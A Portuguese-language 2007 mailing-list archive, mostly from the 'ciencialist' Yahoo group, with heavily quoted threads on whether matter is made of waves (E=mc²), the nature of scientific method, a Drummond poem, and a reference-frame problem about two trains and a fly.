> > > > > ofendido, o outro se converteu ao cristianismo pra não
dar
> tão
> > > na
> > > > cara.
> > > > > Querem que sejamos cristãos sem pensamento critico,
> > > > > trabalhadores braçais sem ciência e tecnologia, patriotas
> > > > > sem consciência política, usuários de windows, desunidos
> > > > > e desorientados porque o papai do céu escolheu um povo
> > > > > e prometeu a terra (junto com os não escolhidos) pra
eles.
> > > > >
> > > > > Inteligência Artificial não é ficção científica: vou ter
> essa
> > > > matéria
> > > > > no ano que vem! (a keyword pra quem quer saber mais é
> prolog)
> > > > >
> > > > > http://naeg.
> > > > > <http://naeg. <http://naeg.
> > > <http://naeg.prg.usp.br/relatorio/disciplina.phtml?>
> > > prg.usp.br/relatorio/disciplina.phtml?
> > > >
> > > > prg.usp.br/relatorio/disciplina.phtml?
> > > > id_disciplina=IBM1024>
> > > > > prg.usp.br/relatorio/disciplina.phtml?
id_disciplina=IBM1024
> > > > >
> > > > > http://naeg.
> > > > > <http://naeg. <http://naeg.
> > > <http://naeg.prg.usp.br/relatorio/disciplina.phtml?>
> > > prg.usp.br/relatorio/disciplina.phtml?
> > > >
> > > > prg.usp.br/relatorio/disciplina.phtml?
> > > > id_disciplina=IBM1034>
> > > > > prg.usp.br/relatorio/disciplina.phtml?
id_disciplina=IBM1034
> > > > >
> > > > > http://naeg.
> > > > > <http://naeg. <http://naeg.
> > > <http://naeg.prg.usp.br/relatorio/disciplina.phtml?>
> > > prg.usp.br/relatorio/disciplina.phtml?
> > > >
> > > > prg.usp.br/relatorio/disciplina.phtml?
> > > > id_disciplina=IBM1040>
> > > > > prg.usp.br/relatorio/disciplina.phtml?
id_disciplina=IBM1040
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > _\|/_
> > > > >
> > > > >
> > > > >
> > > > > ----- Mensagem original ----
> > > > > De: Victor Molina -BR <victormolinabr@>
> > > > > Para: Acropolis_@yahoogru <mailto:Acropolis_%
> > > 40yahoogrupos.com.br>
> > > > pos.com.br
> > > > > Enviadas: Quarta-feira, 2 de Maio de 2007 1:06:10
> > > > > Assunto: [Acropolis_] INTELIGÊNCIA ARTIFICIAL - HOMERO E
> EUNUCO
> > > > >
> > > > > É tão óbvia, mas tão óbvia a razão de porque o Homero e
o
> > Eunuco
> > > > são
> > > > > entusiastas da inteligência artificial, que acabamos não
> nos
> > > dando
> > > > conta,
> > > > > ora. É simples: a inteligência artificial é a única
> esperança
> > > dos
> > > > dois de
> > > > > adquirirem algum tipo de inteligência. :-)
> > > > >
> > > > >
> > > > >
> > > > > __.
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > __________________________________________________
> > > > > Fale com seus amigos de graça com o novo Yahoo!
Messenger
> > > > > http://br.messenger <http://br.messenger
> > > <http://br.messenger.yahoo.com/> .yahoo.com/> .yahoo.com/
> > > > >
> > > > > __________ Informação do NOD32 IMON 2113 (20070313)
> __________
> > > > >
> > > > > Esta mensagem foi verificada pelo NOD32 sistema antivírus
> > > > > http://www.eset. <http://www.eset. <http://www.eset.
> > > <http://www.eset.com.br> com.br>
> > > com.br> com.br
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> > > >
> > >
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/05/2007 07:04

JC,

"Hummm, a matéria é feita de ondas? Ondas de que? De matéria? :)"


O que irei adiantar, não corresponde ao que penso. Achei bastante interessante,
por isso me animei a ler com atenção, a Teoria da Velocidade Absoluta, do Professor
de telecomunicação Jaroslav Smit, autor de obras na área, como Ondas e Antenas, Rádio e Propagação e Linhas de Comunicação, tudo da Èrica. Não sei se se trata de engenheiro eletrônico que é físico, ou se é um físico que é engenheiro eletrônico.
Numa pesquisa sobra antenas, encontrei, no Ondas e Antenas(e isso já faz um bom tempo) noções de relatividade restrita, em vista do enfoque que dá à Teoria do Eletromagnetismo. E também uma introdução à sua Teoria da Velocidade Absoluta. Não uma velocidade qualquer, mas a das OEM, c, como era para ser. Em suas palavras, página 251:

" A matéria, na Teoria da Velocidade Absoluta, é onda estacionária em trajetória fechada.

Se esta matéria, onde não se percebe c externamente, for movida com velocidade v, poderemos compor um triângulo de velocidades, incluindo c. Mas ao compormos este triângulo de velocidades nota-se que a resultante, isto é, a maior velocidade, ou hipotenua do triângulo, será forçosamente c. Assim, as outras velocidades menores que c serão meros componentes de c. Concluí-se, diz ele, que no mundo material não há velocidade independente de c, já que no mundo material todas as velocidades são de matéria ou energia.Podemos ilustrar com o modelo a seguir, estas várias velolcidades."
E seguem, três figuras:
a) Onda pura, representada por seta, para indicar a velocidade c;
b) Um círculo, para indicar a matéria em repouso, onde c é indicada por uma seta apontando o sentido do movimento circular; e
c) algo como uma espiral, para indicar a matéria anima de velocidade v, que aparece como um cateto do triângulo no qual a hipotenusa é c.

As seções seguintes exibem um estudo de triângulos onde tais idéias são implementadas, matemática e geométricamente, em forma de catetos, com a hipotenusa, que ele chama de lado da onda. Amarrando, sempre, c aos catetos, constroi uma estrutura de onde retira os principais resultados da TRR. É um pouco diferente dos estudos homólogos feitos por autores consagrados, que usam triângulos como artifício de memorização de fórmulas. Seu enfoque centra-se na tese acima, o que diferencia os desenvolvimentos. Assim, encontram-se os seguintes triângulos: de velocidades, das massas, da Energia, dos Momento, por aí em diante. Extrai, dessa forma, os resultados conhecidos, usando os postulados da relatividade.

Tudo usando a idéia básica : A matéria, na Teoria da Velocidade Absoluta, é onda estacionária em trajetória fechada.

Não sei se o Professor Smit ainda está por aquí. Encontrei na internet que foi um dos fundadores do Mackenzie. Mas não encontrei mais nada a respeito de sua teoria, ou a importância que lhe foi atribuída. Ao menos tem um embasamento matemático consistente, embora a tese física seja questionável. Mesmo assim, ainda hoje, vez ou outra seja mencionada, em outra forma, como o fez o Sardeiro.

Contudo, prefiro ater-me ao que sei que funciona, que nunca virou a cara ou fez muxôxo para a experimentação. Uma vida só é pouco para se extrair todas as incidências da TR nossa de cada dia. Mas é interessante ler sobre as tentativas, em busca de outras alternativas. Que são só tentativas, ao fim e ao cabo.

Sobre E = m c^2, existe realmente um entendimento inadequado de qual o papel de E e m, na equação. Mas deixa prá lá. Já se falou muito a respeito, embora sem explicitar as essencialidades.

Sds,
Victor.



----- Original Message -----
From: José Carlos Antonio
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 12:27 AM
Subject: [ciencialist] Re: E=m.c2


Hummm, a matéria é feita de ondas? Ondas de que? De matéria? :)

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, "Eduardo Sardeiro"
<eduardo@...> escreveu
>
> Prezados Senhores,
>
> Embora já tenha apresentado minha opinião a respeito desta
> célebre equação E=m.c2 e não ter sido bem entendido, volto
> a insistir em que ela é a maior evidência de que *a matéria é
> feita de ondas*.
>
> A questão é: de que tipo de onda a matéria é feita? O que a
> torna instável, a ponto de ser liberada em uma explosão nuclear
> e o que a torna estável a ponto de conservar o número de
> bárions?
>
> Sei que existem inúmeras explicações teóricas para estes
> fenômenos que não necessitam que a matéria seja feita de
> ondas.
>
> Entretanto, recentemente tem sido levantado a suspeita de que
> matéria são ondas estacionárias (ver Wave Structure of Matter),
> tendo o elétron como onda básica, capaz de gerar todas as
> demais partículas...
>
> Existem evidências de que isto é possível. Se for validado,
> teremos um trunfo na mão. Se não for, continuaremos na
> suspeita.
>
> Se o elétron é uma onda básica ou não, não vem ao caso ainda.
> Entretanto o maior ponto de discordia da Teoria Ondulatória
> da Matéria é onde tais ondas refletem para se tornarem
> estacionarias. Sim: já que partículas são ondas estacionárias elas
> precisam de um *anteparo* para refletir!
>
> A maioria dos especuladores supõem que as ondas de matéria
> propagam-se e refletem-se nas 'bordas' do Ether, explicando
> assim o porquê ocorrem interações mesmo entre objetos
> astronomicamente distantes e o porquê nunca temos um
> sistema perfeitamente isolado.
>
> Essa explicação falha, porque sabemos que o Ether preenche
> todo o Universo observável e que ele é extremamente grande.
> Levaria muito, muito, muito tempo para que houvesse a
> reflexão de uma onda estacionária tão minúscula como o
> eletron. Alguns alegam que a reflexão vem ocorrendo desde o
> inicio do Universo, é initerrupta e constante, logo não haveria
> necessidade de uma onda ir e vir para fazer ocorrer uma
> partícula... A onda sempre estaria ali, assim como o eletron de
> um fio carregado sempre esteve ali: ele não se propagou da
> Austrália para o Brasil, e sim a 'força eletromotriz' o fez
> movimentar-se.
>
> São vários blá-blá-blás de teorias que ainda não me deixaram
> satisfeito. Existe a necessidade de uma explicação razoável de
> como a onda de matéria reflete-se.
>
> Não pode ser em outra onda, pois ondas normais não refletem
> -se uma na outra. Elas podem colidir, ampliando, diminuindo ou
> mesmo anulando uma a outra. Não existe nenhum exemplo na
> natureza em que isso ocorra: não há reflexão entre ondas de
> intensidades nem de frequências diferentes. Elas sempre
> colidem.
>
> Venho analisando atualmente a possibilidade de ondas eletro-
> magnéticas com frequências tão infinitamente pequenas e
> contendo energias tão avalasadoras que sucumbiriam em
> 'espaços atemporais'. Ou seja, os *anteparo* seriam intervalos
> atemporais que aprisionariam as ondas de matérias,
> transformando-as no que chamamos de partículas. Isto
> evidenciaria o tempo uma entidade discreta e não contínua. As
> ondas estariam aprisionadas de tal forma que somente em
> colisões com outras partículas, sob determinados aspectos de
> massa e velocidade, poderiam liberá-las. Sob outras condições,
> as partículas poderiam ser absorvidas e por aí vai...
>
> Estes comentários são só esboços de um trabalho maior que
> tentam apenas demonstrar a grande evidência apontada por
> E=m.c2. E isto não pode ser contestado.
>
> Até a qualquer momento e um forte abraço.
>
> Eduardo Sardeiro
> http://br.groups.yahoo.com/group/NetProcessing/
>





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/05/2007 08:30

Olá Eduardo!

Grata surpresa.

Também participava da lista de ciencias cognitivas e
certa vez debatemos extensamente sobre consciencia lá.
Lembra de mim?

Sendo voce da área de ciencias cognifivas acho
inevitável que entenda a matéria como ondas, afinal, a
cognição também pode ser entendida assim.

Também passei algum tempo acreditando nisto, que a
matéria era uma ilusão (da matrix). Mas até a matrix
deve ter seu alicerse, como voce mesmo conclui.

Como resolver então a questão da onda e da matéria?

Ao meu ver, a questão surge não porque matéria é ou
não é onda, mas porque o mapa não é o território.

Ou seja: A medição da matéria (conhecimento) não é a
matéria (realidade).

Este é o problema. Ciencia é feita de conhecimento da
realidade e não de realidade (em si).

Sendo assim, o conhecimento que a ciencia tem da
matéria pode levar ao raciocinio que matéria=onda
porque onda é manifestação na matéria. E a ciencia não
conhece a matéria através de seu ser, sua realidade,
mas apenas através da medição de sua manisfestação, ou
seja, do seu estar (estado). E é ai que se confunde o
mapa com o território.

Sutil esta questão. Dificil de discernir para quem não
leva em consideração que a compreenção cientifica é
uma matemática de mapas e não de territórios.

Mas voltando a pergunta: como resolver então a questão
da onda e da matéria?

Assim. Pra ciencia (raciocinio):

Onda é resultado da medição da matéria.
Matéria é uma suposição baseada na medição.

Eu já citei aqui, várias vezes, o exemplo do líquedo e
do molhado. Creio que o mesmo se dá com matéria e
onda. Supomos o líquedo baseado na observação
(medição) que chamamos de molhado.

Ou seja, a observação humana não tem acesso ao líquedo
(em si) só ao conhecimento humano do liquedo. E a
mesma coisa com a materia.

Mas quando o cientisca confunde o mapa com o
território, na questão da matéria, ocorre dele igualar
matéria e onda.

A solução é simples: matéria ondula.

Costumo dizer que a matéria pulsa, que é para
relaciona-la com o tempo, que ao meu ver, é a
inteligencia controladora das ondulações. Mas matéria
ondulante é diferente de matéria=onda. É achar que o
mapa é o território, percebe isto?

Uma forma simples de imaginar o que estou dizendo é
pensar em matéria como um oceano. Um ocenano é matéria
ondulante.

Pra terminar, creio que a solução para esta questão,
entre outras, vem de se dar conta que raciocinar a
realidade (conhecimento) implica sempre em ver tres em
um. Explico:

1) Matéria
2) Força (movimento da matéria)
3) Tempo (inteligencia que está controlando o
movimento da matéria)


sinceramente
ferrari






















Sardeiro <eduardo@simetrias.com.br> escreveu:

> Prezados Senhores,
>
> Embora já tenha apresentado minha opinião a
> respeito desta
> célebre equação E=m.c2 e não ter sido bem
> entendido, volto
> a insistir em que ela é a maior evidência de que
> *a matéria é
> feita de ondas*.
>
> A questão é: de que tipo de onda a matéria é feita?
> O que a
> torna instável, a ponto de ser liberada em uma
> explosão nuclear
> e o que a torna estável a ponto de conservar o
> número de
> bárions?
>
> Sei que existem inúmeras explicações teóricas
> para estes
> fenômenos que não necessitam que a matéria
> seja feita de
> ondas.
>
> Entretanto, recentemente tem sido levantado a
> suspeita de que
> matéria são ondas estacionárias (ver Wave Structure
> of Matter),
> tendo o elétron como onda básica, capaz de
> gerar todas as
> demais partículas...
>
> Existem evidências de que isto é possível. Se
> for validado,
> teremos um trunfo na mão. Se não for,
> continuaremos na
> suspeita.
>
> Se o elétron é uma onda básica ou não, não vem ao
> caso ainda.
> Entretanto o maior ponto de discordia da Teoria
> Ondulatória
> da Matéria é onde tais ondas refletem para
> se tornarem
> estacionarias. Sim: já que partículas são ondas
> estacionárias elas
> precisam de um *anteparo* para refletir!
>
> A maioria dos especuladores supõem que as ondas de
> matéria
> propagam-se e refletem-se nas 'bordas' do Ether,
> explicando
> assim o porquê ocorrem interações mesmo
> entre objetos
> astronomicamente distantes e o porquê nunca
> temos um
> sistema perfeitamente isolado.
>
> Essa explicação falha, porque sabemos que o Ether
> preenche
> todo o Universo observável e que ele é extremamente
> grande.
> Levaria muito, muito, muito tempo para que
> houvesse a
> reflexão de uma onda estacionária tão
> minúscula como o
> eletron. Alguns alegam que a reflexão vem ocorrendo
> desde o
> inicio do Universo, é initerrupta e constante, logo
> não haveria
> necessidade de uma onda ir e vir para fazer
> ocorrer uma
> partícula... A onda sempre estaria ali, assim como o
> eletron de
> um fio carregado sempre esteve ali: ele não se
> propagou da
> Austrália para o Brasil, e sim a 'força
> eletromotriz' o fez
> movimentar-se.
>
> São vários blá-blá-blás de teorias que ainda não me
> deixaram
> satisfeito. Existe a necessidade de uma explicação
> razoável de
> como a onda de matéria reflete-se.
>
> Não pode ser em outra onda, pois ondas normais não
> refletem
> -se uma na outra. Elas podem colidir, ampliando,
> diminuindo ou
> mesmo anulando uma a outra. Não existe nenhum
> exemplo na
> natureza em que isso ocorra: não há reflexão
> entre ondas de
> intensidades nem de frequências diferentes.
> Elas sempre
> colidem.
>
> Venho analisando atualmente a possibilidade de
> ondas eletro-
> magnéticas com frequências tão infinitamente
> pequenas e
> contendo energias tão avalasadoras que
> sucumbiriam em
> 'espaços atemporais'. Ou seja, os *anteparo* seriam
> intervalos
> atemporais que aprisionariam as ondas
> de matérias,
> transformando-as no que chamamos de
> partículas. Isto
> evidenciaria o tempo uma entidade discreta e não
> contínua. As
> ondas estariam aprisionadas de tal forma que
> somente em
> colisões com outras partículas, sob determinados
> aspectos de
> massa e velocidade, poderiam liberá-las. Sob outras
> condições,
> as partículas poderiam ser absorvidas e por aí
> vai...
>
> Estes comentários são só esboços de um trabalho
> maior que
> tentam apenas demonstrar a grande evidência
> apontada por
> E=m.c2. E isto não pode ser contestado.
>
> Até a qualquer momento e um forte abraço.
>
> Eduardo Sardeiro
> http://br.groups.yahoo.com/group/NetProcessing/
>
>
>
>
>
>
>
>






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SUBJECT: Re: [ciencialist] O Que é Fazer Ciencia? ::: (artigo sobre o método cientifico e o tempo)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/05/2007 09:34

Olá Alvaro!

Alvaro >>> "Lei do sempre"? Que tristeza reduzir o
problema da indução de Hume a uma verdade empacotada!

--- Alvaro, respeito sua tristeza e sua interpretação,
mas não compartilho delas. Não acho que uma
compreensão, para ser verdadeira, tenha que ser
complexa. Acho justamente o contrário. Acho que deve
ser simples e analogica. E não escrevi o artigo
baseado no Hume, meu raciocinio e o dele são analogos
porque observamos a mesma verdade. O mesmo óbvio de
sempre.

Alvaro >>> O grande filósofo, assim como tantos depois
dele, concluiu que nada, absolutamente nada, pode nos
garantir que um fenômeno que aconteceu milhões de
vezes irá acontecer novamente.

--- "Tudo agora mesmo pode estar por um segundo",
canta Gilberto Gil. A chave da questão aqui está na
palavra "garantir", concorda? O que é garantia? E qual
é sua ligação com o tempo?

Alvaro >>> É apenas nossa psicologia que nos induz a
esse raciocínio, pois buscamos desesperadamente por
ordem no universo.

--- Algumas das questões aqui são:

a) e o raciocinio tem outra opção?
b) o que é ordem?
c) se é o raciocinio que organiza o universo, quem
organiza o raciocinio.

Alvaro >>> Também é desagradável ver que você reduziu
uma das descobertas de Newton a uma trivialidade.

--- Alvaro, usei a histórinha da maça como base para o
leitor visualizar o que é fazer ciencia. Meu objetivo
com o artigo não é falar sobre a teoria da gravidade,
mas sim sobre a relação entre o raciocinio e o método
cientifico.

Alvaro >>> Sim, muitos antes de Newton haviam
percebido que maçãs caem, que laranjas caem, que
meteoros caem. Mas Newton foi o primeiro a perceber
que a Lua (que você não cita no seu texto) também cai.
E isso não é trivial. Nem óbvio.

--- Como disse acima, o artigo não trata da teoria da
gravidade, mas como coloquei no assunto "O Que é Fazer
Ciencia? ::: (artigo sobre o método cientifico e o
tempo)". Sobre o fato da lua cair não ser óbvio, é
porque isto é um adedução. E o óbvio é o observavel, e
não o deduzido. As discordancias cientificas se dão no
ambito das deduções e não das observações. Assim, uma
dedução cientifica pode ser óbvia só pra voce e pra
mais ninguém, e ainda assim se mantér como um "dedução
cientifica" (hipótese). Mas se uma "observação
cientifica" for óbvia só pra voce, ai nem cientifica
ela será considerada, não é mesmo? Sendo assim, o
óbvio no qual o texto trata é o óbvio cientifico
(observavel). Ou seja, é o fenomeno que é sempre óbvio
e sempre observavel por todos os observadores
(humanos).

Resumindo: o óbvio (cientifico) é o sempre
(cientifico). Teorias sobre o óbvio mudam porque não
são o óbvio, são teorias sobre o óbvio. O óbvio não
muda porque é sempre. Se não fosse sempre, não seria
óbvio. Isto não lhe parece óbvio?




sinceramente
ferrari






> ----- Original Message -----
> From: "Ferrari" <emailferrari@yahoo.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, May 07, 2007 8:18 AM
> Subject: [ciencialist] O Que é Fazer Ciencia? :::
> (artigo sobre o método
> cientifico e o tempo)
>
>
> >O QUE É FAZER CIÊNCIA? - por Ferrari
> > http://leisdosempre.blogspot.com
> >
> > (sobre o método cientifico e o tempo)
> >
> > Conta a história, que Issac Newton estava
> dormindo,
> > quando uma maça caiu sobre sua cabeça. Ele poderia
> ter
> > ignorado o incomodo e continuado seu cochilo. Mas
> não:
> > eureka! Newton acordou da ignorancia e viu a lei
> da
> > gravidade! Se esta história é real ou imaginária,
> não
> > importa, ela é perfeita para ilustrar o que
> significa
> > "fazer ciência".
> >
> >>>> Fazer ciência é ver o óbvio.
> >
> > Fazer ciência é fazer o que Issac Newton fez: ver
> o
> > óbvio. Maças caem. Laranjas caem. Xícaras caem.
> > Meteoros caem. Todas os corpos caem. É óbvio. Não
> há
> > nenhuma novidade neste comportamento da natureza.
> > Estamos cansados de ver coisas caindo, repetidas
> > vezes, todos os dias, sempre. O que tem de genial
> em
> > ver o óbvio?
> >
> >>>> Óbvio é sempre. (padrão repetitivo).
> >
> > O genial na visão de Newton não foi ver a maça
> caindo,
> > isto ele já estava cansado de ver. O genial na
> visão
> > de Newton foi ver que este comportamento (a queda
> da
> > maça) era um padrão sempre.
> >
> >>>> Fazer ciência é ver o sempre (repetição
> eterna).
> >
> > Newton não viu a maça caindo, ele viu um fenomeno
> que
> > se repetia sempre da mesma maneira: a queda.
> Depois
> > viu uma inteligencia natural (lei do sempre)
> > responsável por fazer aquele fenomeno se repetir
> > sempre da mesma maneira. Porém, para Newton ver
> esta
> > inteligencia natural (lei do sempre), Newton não
> usou
> > os mesmos olhos que ele usava para ver as coisas
> > (fisicas).
> >
> >>>> Fazer ciência é ver as leis do sempre com os
> olhos
> > da lógica.
> >
> > Maças caem sempre. Laranjas caem sempre. Xícaras
> caem
> > sempre. Meteoros caem sempre. Todas os corpos caem
> > sempre. SE tudo na natureza sempre cai, LOGO, cair
> é
> > uma lei eterna na natureza. SE repete Sempre,
> LOGO,
> > segue Sempre a mesma regra.
> >
> >>>> Fazer ciência é imaginar as leis do sempre.
> >
> > Newton não criou o comportamento repetitivo da
> > natureza (a queda), mas ele foi o primeiro a
> imaginar
> > um raciocínio (teoria) que explica este
> comportamento.
> > Esta raciocínio (teoria) que ele imaginou é
> > popularmente conhecida como "lei da gravidade".
> >
> >>>> Conhecimento cientifico é um livro de
> raciocínios
> > (teorias) sobre o sempre.
> >
> > Ao raciocinar o fenomeno da queda e imaginar a lei
> da
> > gravidade, Newton contribuiu para mais uma página
> > deste livro de suposições sobre o sempre que
> chamamos
> > de conhecimento cientifico.
> >
> >>>> Conhecimento cientifico é uma tentativa de
> prever
> > o futuro.
> >
> > Se as leis naturais que irão reger o momento
> futuro
> > são exatamente as mesmas leis que estavam regendo
> o
> > passado --- ou seja, se são mesmo leis eternas ---
> e
> > se a forma como raciocinamos estas leis são
> > equivalentes a realidade --- então, uma teoria
> > cientifica (regra cientifica) dá ao cérebro o
> > conhecimento desta lei e, consequentemente, a
> > capacidade de pré-visão do futuro através da
> simulação
> > mental.
> >
> >>>> A teoria cientifica (regra cientifica) otimiza
> o
> > sucesso no objetivo.
> >
> > Uma teoria cientifica, por ser fruto de muita
> > experiência, minimiza a possibilidade de erro e
> > otimiza a possibilidade de acerto dos seus
> usuários.
> > Por exemplo, se a regra cientifica diz que chove
> no
> > verão e faz frio no inverno, uma pessoa pode usar
> esta
> > regra cientifica, por exemplo, para obter sucesso
> na
> > agricultura da cana de açúcar.
> >
> >
> > - - - - - - -
> >
> >
>
>





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SUBJECT: Re: [ciencialist] Material, imaterial e amaterial/Era Re: E=m.c2
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/05/2007 09:48

pelo visto voce nunca viu aqueles filmes que o cara
sofre um acidente e quando acorda está no futuro ou no
passado...tempo, informaçao, observadores ...
Minha ex-professora de literatura dizia que esse poema
era a marca da genialidade de Drummond embora eu
achasse que qualquer um faria isso. Enfim nunca
discuti a respeito com ela porque eu achava as
observações nessa área subjetivas demais.


--- "J.Victor" <j.victor.neto@uol.com.br> escreveu:

> Chicão,
>
> Imagine que você seja a pedra do meio do caminho. E
> a 10 metros surge
> um doido num carro em velocidade. Então, entre você
> e o carro existe
> uma distância. Você precisa de mais alguma coisa,
> como interpretação,
> saber se existe ou não algo para passar informação,
> para sair da frente na "toda", como
> quem vai alí e já volta? Vai nessa de filosofar, e
> não sai da frente! Fica ai decidindo se
> "Quem existe pra quem, entre o caminho, a pedra e a
> pessoa", e verás o que é bom prá tosse.
> Bem, vou aproveitar para dizer uma asneira para
> muitos, exceto para mim. Esse poema de
> Drumond poderia muito bem nunca ter sido escrito. É
> ridículo, e as frases além da primeira
> não mostram a genialidade do poeta. Acho que ele
> está é gozando com todo mundo!
> Eu poderia escrever algumas páginas só com o
> pretenso significado da metade da primeira
> frase, com interpretações diferentes. O resto é uma
> repetição cansativa e abusada.
> Pronto. Já vestí a couraça, podem descer a madeira,
> agora.
>
> Sds,
> Victor.
>
>
> ----- Original Message -----
> From: Chicao Valadares
> To: ciencialist@yahoogrupos.com.br
> Sent: Monday, May 07, 2007 10:34 AM
> Subject: Re: [ciencialist] Material, imaterial e
> amaterial/Era Re: E=m.c2
>
>
> "No meio do caminho tinha uma pedra
> tinha uma pedra no meio do caminho
> tinha uma pedra
> no meio do caminho tinha uma pedra.
> Nunca me esquecerei desse acontecimento
> na vida de minhas retinas tão fatigadas.
> Nunca me esquecerei que no meio do caminho
> tinha uma pedra
> tinha uma pedra no meio do caminho
> no meio do caminho tinha uma pedra."
> (Carlos Drummond de Andrade)
>
> Quem existe pra quem, entre o caminho, a pedra e a
> pessoa???
> Algo existe porque pode passar informação???
> Informação não poderia ser apenas interpretação???
>
> Lá vem idealismo versus realismo.....
>
> Complexos Amplexos.
>
> --- Manuel Bulcão <manuelbulcao@uol.com.br>
> escreveu:
>
> > Ois,
> >
> > Ferrari: Estou defendendo que a matéria é o meio
> > pelo qual a energia
> > se propaga em ondas.
> >
> > Manuel: Primeiro, vamos esclarecer a questão: a
> > Matéria, do ponto de
> > vista filosófico (que não se confunde com a
> ótica da
> > Física, que
> > estabelece uma diferença entre matéria e
> energia) é
> > tão-somente o
> > conceito que designa a realidade objetiva que se
> > contrapõe ao
> > Sujeito, à Consciência. "Materialista" é quem
> > defende que essa
> > realidade objetiva é anterior a qualquer forma
> de
> > consciência, que
> > subsiste independentemente dela e que deu origem
> a
> > ela (i.e., à
> > consciência). Ponto final (este conceito
> filosófico
> > de Matéria
> > abrange a matéria comum, a matéria escura, os
> fótons
> > - que não
> > possuem massa de repouso - os supostos fotinos,
> os
> > gravitinos, bósons
> > de Higgs etc.)
> >
> > Agora, vamos complicar um pouco a questão: o
> > conceito de "informação"
> > tornou o debate entre materialistas e idealistas
> um
> > problema (quase)
> > irresolúvel. Pois a informação é um
> "significado"
> > que se transmite e
> > se traduz por meio de uma infinidade de
> > "significantes" - ou meios -
> > materiais. Com efeito, a idéia de "casa", por
> > exemplo, pode se
> > manifestar, materialmente, sob uma forma
> acústica,
> > pictórica,
> > gráfica, por meio de pulsos eletroquímicos (em
> nosso
> > cérebro),
> > eletrônicos (em nosso PC caseiro) ou
> positroquímicos
> > - supondo a
> > existência de galáxias constituídas inteiramente
> de
> > antimatéria -; e
> > até na forma de fluxos hidráulicos (um
> computador
> > cujos bits são
> > jorros d'água em vez de pulsos elétricos é algo
> > perfeitamente
> > concebível).
> >
> > Significa dizer que a informação, se não é
> > imaterial, certamente
> > consiste em algo amaterial. Não vou penetrar no
> > âmago da questão, até
> > porque meu parco conhecimento não permite. Só
> lembro
> > que há muitos
> > matemáticos - entre os quais Gödel e Penrose -
> que
> > sustentam a
> > anterioridade da razão matemática em relação à
> > matéria/energia, tese
> > esta responsável pela sobvrevida e oxigenação
> das
> > últimas formas de
> > idealismo "objetivo".
> >
> > Abraços,
> > Manuel Bulcão
> >
> >
>
> "O Binômio de Newton é tão belo como a Vênus de
> Milo.
> O que há é pouca gente para dar por isso... "
> Fernando Pessoa - Poesias de Alvaro Campos
>
>
>
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"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
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SUBJECT: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/05/2007 10:05

Resumindo:
JC - Então, de uma vez por todas: qual é o seu referencial? O chão ou o chão? :)

JR - Entre todas essa opções que vc concede, devo reafirmar *mais uma vez*
que é o chão-esteira. Mas sua fixação pelo chão é significativa e
reveladora... O chão não é o único referencial. Vamos às digressões. Conhece
o problema da mosca que transita entre dois trens que se deslocam em
velocidades diferentes, um em direção ao outro, em linha reta, e se pergunta
após quanto tempo os trens se encontram e esmagam a mosca? Qual é o
referencial?

Léo: Será que com esse exemplo que ele mesmo deu seremos capaz de 'convencê-lo' da importância dos referenciais?
Vejamos:

Referencial 1: o solo;
Dados: trens com velocidades constantes em relação ao solo com velocidades v1 e v2, em sentidos opostos.
Orientação positiva da trajetória: de (1) para (2), com origem dos espaços em (1).
Origem dos tempos: instante em que 1 parte de (1) e 2 parte de (2); distância entre (1) e (2) vale d.
Equação de movimento do trem 1: s1 = v1.t
Equação de movimento do trem 2: s2 = d - v2.t
Condição de encontro dos trens: s1 = s2
Instante do encontro (te) (e morte da mosca): v1.te = d - v2.te ==> te = d/(v1+v2)
(um minuto de silêncio pelo passamento da mosca)

Referencial 2: o trem 1
Dados: um trem 2 com velocidade relativa (v1+v2) em valor absoluto dispara em sentido ao trem 1.
Orientação positiva da trajetória: de (1) para (2), com origem dos espaços em (1).
Origem dos tempos: instante em que 2 parte de (2); distância entre (1) e (2) vale d.
Equação de movimento do trem 1 : s1 = 0
Equação de movimento do trem 2: s2 = d - (v1+v2).t
Condição de chegada de (2) em (1): s2 = 0
Instante de chegada (tc) (e esmagamento da mosca): d - (v1+v2).tc = 0 ===> tc = d/(v1+v2).
(um minuto de silêncio pelo passamento da mosca)

Referencial 3: por falta de total bom senso: a mosca! Deixo essa resolução recreativa para o amigo JR.

JR continua com:

"Vc já viu o espetáculo circense chamado de Globo da Morte, onde
motociclistas se movimentam simultaneamente dentro de uma estrutura
esférica? Pense uma estrutura dessas girando em seu eixo fixo ao chão, e um
motociclista se deslocando na linha do "equador" na mesma velocidade
angular, mas em sentido contrário. Ele consegue fazer isso? Qual é o
referencial?"

Léo: Esse espetáculo, com o globo em movimento já existe (eu o vi em S.P., no Anhembi, na década de 70). O espetáculo consta de 3 partes distintas. Na primeira, o motoqueiro fica dentro do globo com as rodas desbrecadas; o globo gira e o motoqueiro praticamente não sai do lugar (ele usa um pouco os pés raspando ligeiramente no chão para atenuar o pequeno atrito nos mancais).
